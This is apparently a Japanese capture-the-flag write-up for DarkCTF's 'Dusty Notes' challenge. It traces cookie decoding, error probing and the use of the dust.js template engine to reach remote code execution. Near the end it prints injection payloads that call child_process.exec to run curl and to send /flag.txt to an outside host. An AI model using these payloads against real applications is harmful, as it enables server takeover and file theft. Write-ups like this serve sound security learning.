Dusty Notes
Karma
Sometimes some inputs can lead to flag
PS :- All error messages are intended
Flag is in /flag.txt
http://dusty.darkarmy.xyz/
調査
サイトにアクセスすると、既に付箋が貼ってある。
とりあえずCookieを見てみる。
j%3A%5B%7B%22id%22%3A1%2C%22body%22%3A%22Hack%20this%22%7D%5D
ふむ。Chefに通す。
j:[{"id":1,"body":"Hack this"}]
ふむ。見たことある気がする。
1つ増やすとこんな感じ。
j:[{"id":1,"body":"Hack this"},{"id":2,"body":"あbc"}]
HTTPレスポンスを見るとX-Powered-By: Express
とあるので、バックエンドはjs。
Cookieに情報が入っているのでDB攻撃とかはできない。
これはあれか、unsefe deserializationか。
…違います
Writeups
- CTF-Write-ups/exploit.py at master · csivitu/CTF-Write-ups
- ctfs/Write-ups.md at master · saw-your-packet/ctfs
- DarkCTF Writeup - こんとろーるしーこんとろーるぶい
- さすが、graneedさん。自分が解けなかったやつをことごとく解いている
適当に入力を与えてエラーを出す
この思考回路はなるほど。覚えた。
というかPSでヒント出てるじゃん…
DarkCTF Writeup - こんとろーるしーこんとろーるぶい
%0d
でエラーがでる。
入力するところはブラウザでは改行を入れることができない。
なるほど。こういう所でセンスが出るんだろうなぁ…
{"stack":"SyntaxError: Invalid or unexpected token\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Invalid or unexpected token"}
ctfs/Write-ups.md at master · saw-your-packet/ctfs
こっちでは、Cookieを直接編集して、エラーを出している。
j:[{"id":1,"body":["Hack this'"]}]
なるほど…
{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}
さて、ここから抜き取るべき情報は、このアプリはdust.jsを使っているということだ。
dust.js
dust.jsはテンプレートエンジンである。
/flag.txt
を抜き取れということなので、狙うはLFIかRCEだろう。
SSTI経由かという線もあるか。
まあ、どれも検索してみると、RCEができるみたい。
/addNotes?message[]='-require('child_process').exec('curl [url]')-'
をする。
おー、ほんとに来た…すごい…
後はcatしてcurlで送るだけ。
/addNotes?message[]='-require('child_process').exec('cat /flag.txt | curl [url] -X POST -d @-')-'
-> darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}